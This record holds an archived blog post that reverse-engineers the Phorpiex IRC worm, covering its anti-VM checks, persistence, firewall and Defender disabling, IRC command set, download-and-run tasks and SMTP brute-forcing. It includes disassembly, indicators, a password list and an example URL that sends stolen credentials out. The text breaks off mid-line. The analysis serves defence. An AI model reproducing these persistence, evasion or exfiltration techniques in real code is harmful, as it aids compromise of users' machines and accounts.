{
	"id": "7a66bbf4-2117-4ed7-866f-4d510d099a26",
	"created_at": "2026-04-06T00:15:13.176982Z",
	"updated_at": "2026-04-10T03:36:13.577855Z",
	"deleted_at": null,
	"sha1_hash": "26ced156333bc5b7256df387cc07642ac09b76ad",
	"title": "Phorpiex - An IRC worm - Full reversal for the fun of it",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 276305,
	"plain_text": "Phorpiex - An IRC worm - Full reversal for the fun of it\r\nArchived: 2026-04-05 13:18:04 UTC\r\nPhorpiex is a worm controlled over IRC. It can be instructed to do mainly three things: (1) download and run other\r\nexecutables, including the possibility to update itself; (2) to brute-force SMTP credentials by checking popular\r\nlogin/password combinations on a downloaded list of servers; (3) to spread executables — be it Phorpiex or any\r\nother malware — by email.\r\nThe IRC worm Phorpiex does not seem to be very widespread at the moment, nor is it particularly sophisticated.\r\nNevertheless I still did a complete code analysis of a Phorpiex sample the past weekend, because it is very\r\npleasant and fun to reverse engineer:\r\nPhorpiex is written very cleanly. Some parts are most likely written in assembler.\r\nThere is a nice Anti-VM technique to get past. After that, there are no anti-reversing or anti-debugging\r\nmeasures that lessen the pleasure of reversing.\r\nPhorpiex uses very few library calls. For example, the IRC and SMTP protocol are partially implemented\r\nwith only using windows socket calls for networking.\r\nI reversed the following sample:\r\nmd5\r\nc753d418655a2c4570dc421105e1bbf0\r\nsha256\r\n7fb1664da6247b7d37ffd2f8a5c8151ca5e93733732647804e383f670113088a\r\nsize\r\n856'576 bytes\r\nscan date\r\n2016-02-09 11:03\r\nanalysis\r\nlink\r\nUnpacking, which is not covered in this blog post, lead to the following binary:\r\nmd5\r\n2a6fab4cfce55c3815fc80607797afd0\r\nsha256\r\nb45c7ac7e1b7bbc32944c01be58d496b5e765a90bd4b1026855dd44cea28cd12\r\nsize\r\n131'072 bytes\r\nscan data\r\n2016-02-11 13:00\r\nanalysis\r\nhttps://bin.re/blog/phorpiex/\r\nPage 1 of 28\n\nlink\r\nThis blog post is mostly an embellishment of my research log. I’m well aware that the post should be better\r\nresearched, organized and written; but then again I looked at Phorpiex for the sake of reverse engineering, and do\r\nnot think there is any need for more documentation in the first place.\r\nInitialization\r\nThis section describes the steps Phorpiex takes before listening for commands.\r\nPrerequisites\r\nMutex\r\nPhorpiex checks for other concurrent instances with mutex w6 . If the mutex already exists, the malware exits.\r\nAnti-VM\r\nThe malware uses two anti-VM techniques. The first targets Virtual Box, VMware, QEMU and potentially other\r\nproducts. The second targets Sandboxie.\r\nTechnique 1: Storage Device Property Product ID\r\nThis anti-VM technique reads the product ID of the first storage device and checks if the ID contains one of three\r\nblacklisted strings.\r\n1. Open a handle to the first physical disk using CreateFileA on \\\\.\\PhysicalDrive0\r\n 011D1043 push 0 ; hTemplateFile\r\n 011D1045 push 0 ; dwFlagsAndAttributes\r\n 011D1047 push 3 ; dwCreationDisposition\r\n 011D1049 push 0 ; lpSecurityAttributes\r\n 011D104B push 3 ; dwShareMode\r\n 011D104D push 0 ; dwDesiredAccess\r\n 011D104F push offset first_drive ; \"\\\\.\\\\PhysicalDrive0\"\r\n 011D1054 call ds:CreateFileA\r\n 011D105A mov [ebp+hDevice], eax\r\n2. Send the control code 0x2D1400 (2954240) to the device. This IOCTL stands for\r\nIOCTL_STORAGE_QUERY_PROPERTY and returns the properties of the storage device. The properties are\r\nreturned in a STORAGE_DEVICE_DESCRIPTOR structure.\r\n 011D108A mov [ebp+storage_query_property_inbuffer], 0\r\n 011D1094 push 80h\r\n 011D1099 push 0\r\nhttps://bin.re/blog/phorpiex/\r\nPage 2 of 28\n\n011D109B lea ecx, [ebp+storage_query_property_out]\r\n 011D10A1 push ecx\r\n 011D10A2 call memset\r\n 011D10A7 add esp, 0Ch\r\n 011D10AA push 80h\r\n 011D10AF push 0\r\n 011D10B1 lea edx, [ebp+product_id]\r\n 011D10B7 push edx\r\n 011D10B8 call memset\r\n 011D10BD add esp, 0Ch\r\n 011D10C0 push 0\r\n 011D10C2 lea eax, [ebp+BytesReturned]\r\n 011D10C8 push eax\r\n 011D10C9 push 80h\r\n 011D10CE lea ecx, [ebp+storage_query_property_out]\r\n 011D10D4 push ecx\r\n 011D10D5 push 0Ch\r\n 011D10D7 lea edx, [ebp+storage_query_property_inbuffer]\r\n 011D10DD push edx\r\n 011D10DE push 2D1400h\r\n 011D10E3 mov eax, [ebp+hDevice]\r\n 011D10E9 push eax\r\n 011D10EA call ds:DeviceIoControl\r\n3. Retrieve the device’s product ID from the STORAGE_DEVICE_DESCRIPTOR :\r\n 011D10F8 lea ecx, [ebp+storage_query_property_out]\r\n 011D10FE mov [ebp+storage_query_property_out_], ecx\r\n 011D1104 mov edx, [ebp+storage_query_property_out_]\r\n 011D110A mov eax, [edx+STORAGE_DEVICE_DESCRIPTOR.ProductIdOffset]\r\n 011D110D mov [ebp+product_id_offset], eax\r\n 011D1113 mov [ebp+index], 0\r\n 011D111D mov ecx, [ebp+product_id_offset]\r\n 011D1123 mov [ebp+product_id_offset_], ecx\r\n 011D1129 jmp short loc_11D113A\r\n 011D112B\r\n 011D112B\r\n 011D112B loc_11D112B:\r\n 011D112B mov edx, [ebp+product_id_offset_]\r\n 011D1131 add edx, 1\r\n 011D1134 mov [ebp+product_id_offset_], edx\r\n 011D113A\r\n 011D113A loc_11D113A:\r\n 011D113A mov eax, [ebp+product_id_offset_]\r\n 011D1140 movsx ecx, [ebp+eax+storage_query_property_out]\r\n 011D1148 test ecx, ecx\r\nhttps://bin.re/blog/phorpiex/\r\nPage 3 of 28\n\n011D114A jz short loc_11D1177\r\n 011D114C mov edx, [ebp+index]\r\n 011D1152 mov eax, [ebp+product_id_offset_]\r\n 011D1158 mov cl, [ebp+eax+storage_query_property_out]\r\n 011D115F mov [ebp+edx+product_id], cl\r\n 011D1166 mov edx, [ebp+index]\r\n 011D116C add edx, 1\r\n 011D116F mov [ebp+index], edx\r\n 011D1175 jmp short loc_11D112B\r\nOn VMware Workstation 12.0, this returned “VMware Virtual S” for me.\r\n4. Search the following three strings, case-insensitively, inside the device ID:\r\nqemu\r\nvirtual\r\nvmware\r\nSo VMware Virtual S would get flagged against virtual and vmware . The VM is busted if at least one\r\nof the three strings matches.\r\nSandboxie\r\nThe second VM detection routine targets Sandboxie. Sandboxie is indentified by two DLLs:\r\nSbieDll.dll\r\nSbieDllX.dll\r\nIf any of those two can be loaded with GetModuleHandleA then Sandboxie is considered running:\r\n.text:012461F9 push offset sandboxie_dll2 ; \"SbieDllX.dll\"\r\n.text:012461FE call ds:GetModuleHandleA\r\n.text:01246204 test eax, eax\r\n.text:01246206 jz short passed\r\nQuitting\r\nIf either of the two VM detection routines triggers the malware quits. Before exiting, it first creates a batch script\r\nin the temp folder whose name has ten random letters, e.g., on Windows 7:\r\nC:\\Users\\\u003cUSERNAME\u003e\\AppData\\Local\\Temp\\\u003c10 RND LETTERS\u003e.bat\r\nThe bat script tries to delete the malware executable in an infinite loop. The script deletes itself after the\r\nexecutable is gone:\r\nhttps://bin.re/blog/phorpiex/\r\nPage 4 of 28\n\n:repeat\r\ndel \u003cPATH_TO_EXE\u003e\r\nif exist \u003cPATH_TO_EXE\u003e goto repeat\r\ndel \u003cPATH_TO_THIS_BAT\u003e\r\nPersistence\r\nIf the Mutex did not exist yet and the anti-VM did not trigger, then Phorpiex moves on to establish persistence.\r\nZone Identifier\r\nFirst the Zone Identifier is stripped if present (usually when downloading the file through browsers):\r\n009E6255 lea ecx, [ebp+this_path]\r\n009E625B push ecx\r\n009E625C push offset aSZone_identifi ; \"%s:Zone.Identifier\"\r\n009E6261 push 104h ; Count\r\n009E6266 lea edx, [ebp+zone_identifier_stream]\r\n009E626C push edx ; Dest\r\n009E626D call _snprintf\r\n009E6272 add esp, 10h\r\n009E6275 lea eax, [ebp+zone_identifier_stream]\r\n009E627B push eax ; lpFileName\r\n009E627C call ds:DeleteFileA ; delete the zone.identifier s\r\nPlacement\r\nThe malware settles in one of the following three directories, testing them one after another:\r\n%windir%\r\n%userprofile%\r\n%temp%\r\nThe malware tries to create a hardcoded subdirectory in those environments, in my sample M-50504503224255244048500220524542045 . On Windows 7 with user priviliges, this should fail for %windir% , and\r\nbe successful for %userprofile% . The malware copies the executable to the subdirectory under a hard-coded\r\nname, for my sample winsvc.exe . For example:\r\nC:\\Users\\\u003cUSERNAME\u003e\\M-50504503224255244048500220524542045\\winsvc.exe\r\nThe malware then checks if it was running from the destination path in the first place, meaning it must have\r\nestablished persistence in a previous run. If that is the case, Phorpiex skips to its normal operation described in\r\nSection C\u0026C Communication.\r\nhttps://bin.re/blog/phorpiex/\r\nPage 5 of 28\n\nAutostart\r\nThe malware path is stored under the value name Microsoft Windows Service at\r\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ . This will launch the malware on\r\nreboot.\r\n003D6534 lea eax, [ebp+target_path]\r\n003D653A push eax\r\n003D653B push 1\r\n003D653D push 0\r\n003D653F push offset Microsoft_Windows_Service\r\n003D6544 mov ecx, [ebp+phkResult]\r\n003D654A push ecx\r\n003D654B call ds:RegSetValueExA\r\nHiding\r\nThe malware hides both the executable and the parent directory by marking them a hidden and read-only system\r\ndirectory/file:\r\n003D642A push 7 ; system | readonly | hidden\r\n003D642C lea eax, [ebp+target_dir]\r\n003D6432 push eax ; lpFileName\r\n003D6433 call ds:SetFileAttributesA\r\n003D6439 push 7 ; dwFileAttributes\r\n003D643B lea ecx, [ebp+target_path]\r\n003D6441 push ecx ; lpFileName\r\n003D6442 call ds:SetFileAttri\r\nCircumventing Security\r\nPhorpiex circumvents both Windows’s Firewall and Defender.\r\nWindows Firewall\r\nThe malware adds itself to the list of programs allowed through Windows’s firewall. This list is kept under the\r\nregistry key:\r\nHKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\SharedAccess\\--\u003e\r\nParameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List\r\nPhorpiex adds the value \u003cTARGET\u003e:*:Enabled:Microsoft Windows Service to this key, for example:\r\nhttps://bin.re/blog/phorpiex/\r\nPage 6 of 28\n\nC:\\Users\\\u003cUSER\u003e\\M-50504503224255244048500220524542045\\winsvc.exe:*:Enabled:Microsoft Windows Service\r\nWindows Defender\r\nIf present, Phorpiex disables the Windows Defender service. The service is disabled by writing the DWORD 4\r\n(disabled) to this key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\WinDefend\\ :\r\n003663E5 mov dword ptr [ebp+pDisabled], 4\r\n...\r\n00366582 lea ecx, [ebp+pDisabled]\r\n00366588 push ecx\r\n00366589 push 4\r\n0036658B push 0\r\n0036658D push offset ValueName\r\n00366592 mov edx, [ebp+phkResult]\r\n00366598 push edx\r\n00366599 call ds:RegSetValueExA\r\nCleanup\r\nAfter the malware established persistence, the executable is run from the new location. Then the “self-destruct-bat” described in Section Quitting is called and the process exits.\r\nC\u0026C Communication\r\nThis section describes the C2 communication over IRC. The first section describes the main loop that handles\r\nconnecting to the C2 server(s) as well as sending, receiving and parsing of messages. The second section\r\ndocuments the client messages; the third section the server messages. Server messages can contain tasks for the\r\nclient to execute. The format of those task commands and the triggered client action are described in Section\r\nTasks.\r\nMain Loop\r\nPhorpiex has a list of hard-coded C\u0026C targets which it tries to contact, starting with the first entry in the list. After\r\neach failed C\u0026C communication, Phorpiex sleeps three seconds and then advances to the next target entry,\r\nrestarting at with the first target once the list is exhausted. The number of failed rounds is counted, but never\r\nactually used.\r\nhttps://bin.re/blog/phorpiex/\r\nPage 7 of 28\n\nThe target hosts can be either an IP string (resolved by inet_addr ) or a hostname (resolved by gethostbyname ).\r\nThe reversed sample only contained one target:\r\nHost: “220.181.87.80”\r\nPort: 5050\r\nThe entire C\u0026C communication runs over Windows Sockets 2.\r\nID String\r\nThe malware uses fingerprinting of the operating system in combination with a random string to generate a\r\n“unique” session ID.\r\n.text:009E60B5 push offset username ; \"x\"\r\n.text:009E60BA call get_id_string\r\nhttps://bin.re/blog/phorpiex/\r\nPage 8 of 28\n\nThe routine get_id_string identifies the following os information:\r\nWindow Version: By calling GetVersionExA and parsing the resulting minor and major version numbers,\r\nPhorpiex maps the operating system to one of the following strings: “95”, “NT”, “98”, “ME”, “2K”, “XP”,\r\n“2K3”, “VS”, “W7”, “W8”, “W10” , “UNK”.\r\nCountry. The country is guessed from the abbreviated locale country name:\r\n .text:009E7151 lea edx, [ebp+locale_abbr_country]\r\n .text:009E7157 push edx ; lpLCData\r\n .text:009E7158 push LOCALE_SABBREVCTRYNAME ; LCType\r\n .text:009E715A push LOCALE_SYSTEM_DEFAULT ; Locale\r\n .text:009E715F call ds:GetLocaleInfoA\r\nThe country is to “XXX” should the call fail.\r\n32bit or 64bit: By checking the program folder name for the presence of “(x86)”, Phorpiex determines if\r\nthe Windows Version is 32bit or 64bit.\r\nPrivileges: Check if running as admin (“A”) or user (“U”) using IsUserAnAdmin .\r\nRandom String: Finally, to pursuit uniqueness, a string of 7 random letters “a” to “z” is built.\r\nEach bit of information is preceded with the pipe symbol | and then concatenated to form the id string. For\r\nexample:\r\n|USA|W7|64|U|uggzrxq\r\nThis string is used as the identifier in the ensuing IRC communications. The ID string is regenerated after each\r\nfailed IRC communication, and also after receiving 433 messages (ERR_NICKNAMEINUSE).\r\nClient Messages\r\nThe client sends only a few types of IRC messages, all of which are standard RFC 2812. NICK and USER are\r\nused to initiate the C\u0026C communication. PONG is sent to reply to a server’s PING messages that test the\r\nconnection. JOIN is called to join channels, either provided by the server (using the “j” task, see Section j - Join\r\nChannel, or in the process of handling a particular task. For example joining #smtp when distributing malware\r\nby email. Phorpiex also implements the PRIVMSG message type, but the code is not reachable.\r\nNICK\r\nformat\r\nNICK \u003cid\u003e\r\nexample\r\nNICK |USA|W7|64|U|hzaemsf\r\nhttps://bin.re/blog/phorpiex/\r\nPage 9 of 28\n\ndescription\r\nset the nickname, i.e., the identifying name\r\nUSER\r\nformat\r\nUSER \u003cusername\u003e \u003chostname\u003e \u003cservername\u003e \u003crealname\u003e\r\nexample\r\nUSER x \"\" \"x\" :x\r\ndescription\r\nPhorpiex sets the username, servername and realname to “x” for all clients\r\nPRIVMSG\r\nformat\r\nPRIVMSG \u003creceiver\u003e :\u003ctext\u003e\r\nexample\r\n? |\r\ndescription\r\nPhorpiex has a routine to send private messages, but it is never called.\r\nPONG\r\nformat\r\nPONG \u003cparam\u003e\r\nexample\r\nPONG 422\r\ndescription\r\nReply to PING messages from server. If PONG messages are not acknoledge by PING, then the IRC server\r\ncloses the connection.\r\nJOIN\r\nformat\r\nJOIN \u003cchannel\u003e \u003ckey\u003e\r\nexample\r\nJOIN #mail (null)\r\ndescription\r\nJoin a channel. The key is always hard-coded to 0, which gets formated as “(null)” in the sprintf call.\r\nServer Messages\r\nThe client can handle five different server command messages, some of which contain further tasks described in\r\nSection Tasks.\r\nhttps://bin.re/blog/phorpiex/\r\nPage 10 of 28\n\n(Any Message That Contains “001”)\r\nThe first message type is the only one not matched against the IRC command but the raw message received. The\r\nclient looks for the string “001” inside the raw message, regardless of whether it is the prefix, command, or\r\nparameter of the the IRC message. If the string is found, it causes the client to join the “mail” channel, i.e., to send\r\nJOIN #mail (null) .\r\nformat\r\n(any msg that contains 001)\r\nexample\r\n:001 x.x 001\r\ndescription\r\nOnly IRC message that is not parsed. Causes client to join the #mail channel\r\nIf the string “001” is not found, then the IRC message is tokenized with the space \" \" separator for further\r\nprocessing.\r\nPING\r\nPhorpiex sends frequent PING message, matched by comparing the first token with string “PING”. If the client\r\ndoes not respond to these with an appropriate PONG in a timely fashion, the connection is closed. The PING\r\nmessages I observed do not follow RFC 2812; instead of having one or two server parameters, the PING message\r\nis followed by “422 MOTD”. 422 is the numeric reply for ERR_NOMOTD (no “message of the day”) and does\r\nnot make sense in this context. Regardless, the client is required to send back PONG 422 .\r\nformat\r\nPING \u003cparam\u003e [\u003cextrastuff\u003e]\r\nexample\r\nPING 422 MOTD\r\ndescription\r\nClient required to send PONG \u003cparam\u003e , e.g., PONG 422 . No other PING messages than the one in the\r\nexample have been observed.\r\n443\r\nThe third message type is a regular 433 numeric response as defined in RFC1459, matched by comparing the\r\nsecond token with “433”. 433 indicates that a nickname is already in use, meaning the string generated in Section\r\nID String was not unique. Accordingly, the client generates a new id string and sends it with NICK \u003cid\u003e . I never\r\nsaw such a message.\r\nformat\r\n:\u003cprefix\u003e 433 \u003ctarget\u003e\r\nexample\r\n:x.x 433 8.8.8.8\r\ndescription\r\nhttps://bin.re/blog/phorpiex/\r\nPage 11 of 28\n\nRegenerate the ID, then send it with NICK \u003cid\u003e , e.g., NICK |USA|W7|64|U|kxaiiab\r\nPRIVMSG\r\nThe final two messages, PRIVMSG and 332 are used to give actual commands to the client. The messages are\r\nmatched by comparing the second token to PRIVMSG and 322 respectively. Handling of the tasks is the same for\r\nboth message types, and I’ll discuss that later in Section Tasks. The way the message is parsed is slightly different.\r\nFirst, the PRIVMSG :\r\nformat\r\n:\u003cservername\u003e!\u003cchannel\u003e@\u003chost\u003e PRIVMSG \u003cnick\u003e :\u003ctask\u003e\r\nexample\r\n:x.x!mail@x PRIVMSG USA|W7|64|U|yxpnaeg :.d u |108|99|111|(...)|106|\r\ndescription\r\nExecute the \u003ctask\u003e , see later Sections. The \u003chost\u003e is required to be “x”, and the \u003cchannel\u003e must be\r\nset, unless the \u003cnick\u003e is a channel name.\r\nThe \u003chost\u003e parameter needs to be set to “x”, otherwise the message is discarded. Also, if the \u003cnick\u003e parameter\r\nis not a channel name, i.e., beginning with “#”, then the \u003cchannel\u003e parameter needs to be present. Like for the\r\nfollowing 332 message, the channel is read from the parameters but never actually used.\r\n322\r\nThe final message type, 322 , also send a task to the client, only in a different format. 322 is the numeric code for\r\nRPL_TOPIC , the task being the “topic”.\r\nformat\r\n:\u003cprefix\u003e 332 \u003cnick\u003e \u003cchannel\u003e :\u003ctask\u003e\r\nexample\r\n:x.x 332 |USA|W7|64|U|yxpnaeg #mail :.j #b\r\ndescription\r\nExecute the \u003ctask\u003e , see later Sections.\r\nThe \u003cprefix\u003e needs to be present, but not parsed. The \u003cchannel\u003e needs to be present and start with # , but as\r\nin the previous PRIVMSG -command is not used.\r\nThe server sends other messages than those of these five message types. For example :002 x.x 002 . All those\r\nmessages are silently ignored.\r\nTasks\r\nThe bot master gives commands to the client through the \u003ctask\u003e parameter of the PRIVMSG and 322 message\r\ntypes. The \u003ctask\u003e is trailing parameter, meaning it follows after “:” and is allowed to contain spaces. Phorpiex\r\nalso tokenizes the \u003ctask\u003e at the space character, with different tasks requiring different number of tokens, i.e.,\r\nnumber of arguments.\r\nhttps://bin.re/blog/phorpiex/\r\nPage 12 of 28\n\nThis Section presents all types of tasks, tasked by the required number of parameters. To not get in the way of the\r\nIRC terminology, I call the first token of the task the action, meaning the command that is supposed to be\r\nexecuted. Some actions have multiple versions, that are selected by the following parameter. All valid tasks need\r\nto start with a “.”. So in summary, the format of a valid task is:\r\n\".\"\u003caction\u003e {\u003cparam\u003e}\r\nLonger running tasks are executed as threads. Phorpiex keeps track of those task in an array of up to 256 elements.\r\nEach task entry consists of three members:\r\n1. A numeric task_id that identifies the running action.\r\n2. The thread handle for the task.\r\n3. Potentially a Windows Socket.\r\nIn the following I also put my guess what the short \u003caction\u003e codes could stand for.\r\nbye - Quit\r\nThis task orders the client to run the self destruct bat (see Section quitting), run WSACleanup, then exit.\r\nformat\r\nbye\r\nnr of parameters\r\n0\r\nsubtypes\r\nnone\r\nexample\r\nbye\r\ndescription\r\nExit\r\ntask id\r\n(does not run as a task)\r\nm.off - Stop all Mailing Tasks\r\nThis stops the tasks with id 2 and 3. These tasks are associated with mailing malicious content to further spread\r\nPhorpiex or any other malware, see Sections Mail Exe with Server List and Mail Exe without Server List. The\r\ntasks are stopped by terminating the associated thread with TerminateThread , closing potential corresponding\r\nWindows Sockets with closesocket , and setting the task id to NULL.\r\nformat\r\nm.off\r\nnr of parameters\r\n0\r\nsubtypes\r\nhttps://bin.re/blog/phorpiex/\r\nPage 13 of 28\n\nnone\r\nexample\r\nm.off\r\ndescription\r\nStop Sending Mails\r\ntask id\r\n(does not run as a task)\r\nb.off - Stop Brute Forcing\r\nThis stops the tasks with id 4. These tasks are associated with brute forcing logins to SMTP accounts, see Section\r\nb - Brute-Force SMTP Accounts.\r\nformat\r\nb.off\r\nnr of parameters\r\n0\r\nsubtypes\r\nnone\r\nexample\r\nb.off\r\ndescription\r\nStop Brute Forcing SMTP Accounts\r\ntask id\r\n(does not run as a task)\r\nj - Join channel\r\nThis task orders the client to join the channel provided as the first and only parameter.\r\nformat\r\nj \u003cchannel\u003e\r\nnr of parameters\r\n1\r\nsubtypes\r\nnone\r\nexample\r\nj #b\r\ndescription\r\nJoin the \u003cchannel\u003e\r\ntask id\r\n(does not run as a task)\r\nThis was the first task the sample received in my sandbox, ordered to join the “b” channel.\r\nhttps://bin.re/blog/phorpiex/\r\nPage 14 of 28\n\nb - Brute-Force SMTP Accounts\r\nThis is the first longer running task. It takes two parameters:\r\nformat\r\nb \u003cenc_url\u003e \u003cnr_sets\u003e\r\nnr of parameters\r\n2\r\nsubtypes\r\nnone\r\nexample\r\nb |108|99|111|(...)|106| 2000\r\ndescription\r\nBrute-Force SMTP Logins\r\ntask id\r\n4 (exclusive)\r\nThe first parameter is an encrypted url. The bytes are passed as decimals separated by | . The decryption is a\r\nbuggy RC4 implementation, presented in Section RC4 Implementation.\r\nThe second parameter is a decimal that determines how many different lists with SMTP server there are. Phorpiex\r\npick a list randomly.\r\nThe task performs the following steps:\r\n1. Count the number of tasks running with task id 4. If there is one running already, then don’t do nothing.\r\nOtherwise create a new task with ID.\r\n2. Decrypt the \u003cenc_url\u003e according to Section RC4 Implementation.\r\n3. Append ok.php to the URL, e.g., http://example.com/ becomes http://example.com/ok.php.\r\n4. Sleep between 0 and 30 seconds, randomly determined.\r\n5. Pick a set uniformly at random, between 1 and \u003cnr_sets\u003e . Append the random number and .txt to the\r\nurl, e.g., http://example.com/ok.php221.txt .\r\n6. Download the url to a random file %TEMP%\\\u003c10_RANDOM_DIGITS\u003e.jgp , e.g.,\r\nc:\\Users\\User\\AppData\\Local\\Temp\\8473628340.jpg . The downloaded content contains a list of SMTP\r\nservers.\r\n7. Run three threads with the steps detailed below. The three threads slightly differ in execution; the\r\ndifferences are noted at the end.\r\n8. Repeat Steps 4-7 3000 times.\r\nThe three threads run similar steps. These are the Steps for the first thread:\r\n1. Pick a line from the downloaded file uniformly at random with Reservoir Sampling. The line contains a\r\nhostname or IP string.\r\nhttps://bin.re/blog/phorpiex/\r\nPage 15 of 28\n\n2. Connect to the hostname or IP on Port 25. The first two steps are shown in the following graph view. The\r\nFPU instructions calculate the harmonic fractions for the reservoir sampling.\r\n3. If the connection fails on port 25, then the other common SMTP port 587 is attempted. If that fails also,\r\nthen the process exits.\r\n4. If a connection could be established on either port, then Phorpiex repeats the next steps for all\r\ncombinations of these 8 usernames: test, test1, test123, info, admin, webmaster, postmaster, contact and\r\nthese 20 password: 1234, 12345, 123456, 1234567, 12345678, 123123, test, test1, test123, test1234, info,\r\nadmin, admin1, Password1, password, 1q2w3e, 1q2w3e4r, q1w2e3r4, postmaster, admin.\r\nConnect to target again.\r\nhttps://bin.re/blog/phorpiex/\r\nPage 16 of 28\n\nLook at the response. If ESMTP send EHLO USER\\r\\n , else send HELO USER\\r\\n\r\nCheck the response being 250 ( “Requested mail action okay, completed”), otherwise try next\r\nusername/password combo.\r\nSend AUTH LOGIN . If no 334 response follows try next username/password combo.\r\nSend base64 encoded username. If no 334 response follows try next username/password combo.\r\nSend base64 encoded password. If no 235 (“Authentication succesful”) response follows try next\r\nusername/password combo.\r\nSend MAIL FROM: hi@zmail.ru\\r\\n . If no 250 response follows try next username/password\r\ncombo.\r\nSend RCPT TO: smtpcheck@Safe-mail.net\\r\\n . If no 250 response follows try next\r\nusername/password combo.\r\nSend DATA\\r\\n . If no 250 response follows try next username/password combo.\r\nSend this text:\r\n Subject: hi\\r\\n\r\n From: hi@zmail.ru\\r\\n\r\n To: smtpcheck@Safe-mail.net\\r\\n\r\n \\r\\n.\\r\\n\r\nIf that is also successful, then move on to Step 5.\r\n5. Form the string:\r\n smtp://\u003cusername\u003e@\u003ctarget\u003e|\u003ctarget\u003e:\u003cport\u003e|\u003cusername\u003e|\u003cpassword\u003e\"\r\n6. Append this string to the download url, after ?s= , for example:\r\n http://example.com/ok.php221.txt?s=smtp://webmaster@example.com|example.com:25|webmaster|Password1\r\n7. Use the User-Agent “Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0” to\r\nmake a GET request to the url.\r\n8. Delete the downloaded file with the targets.\r\nThe second thread does the same as the first thread, except the username is set to the target hostname or IP, e.g.,\r\n“example.com”. The third thread tries the 8 hard-coded usernames, but also appends @\u003ctarget\u003e to them. For\r\nexample, webmaster@example.com .\r\nhttps://bin.re/blog/phorpiex/\r\nPage 17 of 28\n\nd - Download Executable\r\nformat\r\nd \u003ctype\u003e \u003cenc_url\u003e\r\nnr of parameters\r\n2\r\nsubtypes\r\nx , u , p , a , \u003cabbr_country\u003e\r\nexample\r\nd x |108|99|(...)|106|\r\ndescription\r\nDownload and Run Executable\r\ntask id\r\n1 (non exclusive)\r\nThe first parameter designates different subtypes of the task:\r\nx : Execute the downloaded content and keep running the program\r\nu : Execute the donwloaded content. If the filename (without extension) is w6 , quit. The command can\r\nbe used to update Phorpiex.\r\na : First geolocate the infected client. Only if the country is in the list of all hard-coded countries, execute\r\nthe malware.\r\np : First geolocate the infected client. Only if the country is in a partial list of hard-coded countries,\r\nexecute the malware.\r\n\u003cabbr_country\u003e : First geolocate the infected client. Only if the country matches \u003cabbr_country\u003e ,\r\nexecute the malware.\r\nThe second parameter is an encrypted url, using the same encryption as for order b . See Section RC4\r\nImplementation.\r\nx - Execute\r\nThe task performs the following steps:\r\n1. Decipher the url in \u003cenc_url\u003e , see Section RC4 Implementation.\r\n2. Add a new taks with id 1. Phorpiex allows multiple tasks to run with id 1.\r\n3. Seed rand with tick count, then generate a random path \u003cTEMP\u003e/\u003c10 random digits\u003e.exe , e.g.,\r\nC:\\Users\\User\\AppData\\Local\\Temp\\mmliexuvnw.exe\r\n4. Sleep between 0 to 30 seconds, determined uniformly at random.\r\n5. Download the deciphered url to the random path, using InternetOpenA / InternetOpenUrlA /\r\nInternetReadFile with User-Agent Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101\r\nFirefox/22.0 . This Firefox release is from June 2013.\r\n6. If the download failed, then Phorpiex repeats step 3 and 4, and tries to download the file with\r\nURLDownloadToFileA .\r\nhttps://bin.re/blog/phorpiex/\r\nPage 18 of 28\n\n7. If either download was successful, Phorpiex runs the executable and continues listening for new orders.\nu - Update\nThis type performs the same steps as x . The only difference is that after deciphering the url, Phorpiex checks if\nfilename in the url, stripped of the extension, matches w6 . For example, http://www.example.com/w6.jpg\nwould match. If the filename matches, then Phorpiex quits if it is able to download the file. If the file can’t be\ndownloaded, or if the filename is not w6 , then update has the same effect as execute.\na - Match against all Country Codes\nThe type a adds a geolocation check before downloading and executing a file.\n1. First, Phorpiex makes a GET request api.wipmania.com . This will return the public facing IP and country\nof the infected Client:\n GET / HTTP/1.1\n User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0)\n Gecko/20100101 Firefox/22.0\n Host: api.wipmania.com\n HTTP/1.1 200 OK\n Server: nginx\n Date: Wed, 10 Feb 2016 12:16:18 GMT\n Content-Type: text/html\n Content-Length: 19\n Connection: keep-alive\n Keep-Alive: timeout=20\n 46.165.210.17  \nDE\n2. Phorpiex parses the result by searching \u003e , and taking the string that follows. In the above example, DE .\n3. Phorpiex compares the country code from api.wipmania.com with the following 37 countries: US , CA ,\nGB , AU , ZA , VI , VG , VE , VC , TT , TC , SG , SC , QA , PR , NZ , NA , MT , MO , LU , LC ,\nKY , KN , IS , IE , HK , GU , DK , CY , CH , BS , BM , BH , BB , AS , AN , AE\n4. If the client’s country is not in the list — DE for example isn’t — then the order is aborted, i.e., no file is\ndownloaded. Otherwise, the steps as in execute are carried out.\np - Match against partial Country Codes\nType p differs from a in that a smaller list of 5 countries are accepted: US , GB , AU , CA , NZ .\n\nFinally, if the type is neither of the above ( x , u , a or p ), then the first parameter to the order is treated as a\r\ncountry code. Downloading and executing the file only happens if the public facing IP of the infected client\r\nmatches the provided country. For example, d DE |108|99|... will download and run the file if\r\napi.wipmania.com returns the country code DE .\r\nm.s - Mail Exe with Server List\r\nformat\r\nm.s \u003cenc_url\u003e \u003cnr_of_files\u003e\r\nnr of parameters\r\n2\r\nsubtypes\r\nnone\r\nexample\r\nm.s |108|99|(...)|106| 302\r\ndescription\r\nMail an Executable\r\ntask id\r\n3 (exclusive)\r\nThis task takes two parameters: an encrypted url and an integer that determines if the url hosts a target list.\r\n1. Check if there is already a task with ID 3 running. Return if there is a task already.\r\n2. Decrypt the url, see Section RC4 Implementation.\r\n3. Resolve hotmail.com and try to create a TCP connection on port 25. If that fails, abort the task.\r\n4. Join the SMTP channel by sending JOIN #SMTP (null) .\r\n5. Convert the second parameter to an integer.\r\n6. Add a new task with ID 3.\r\n7. Connect to http://icanhazip.com :\r\n GET / HTTP/1.1\r\n User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:22.0) Gecko/20100101 Firefox/22.0\r\n Host: icanhazip.com\r\n HTTP/1.1 200 OK\r\n Server: nginx\r\n Date: Fri, 12 Feb 2016 10:35:54 GMT\r\n Content-Type: text/plain; charset=UTF-8\r\n Content-Length: 15\r\n Connection: 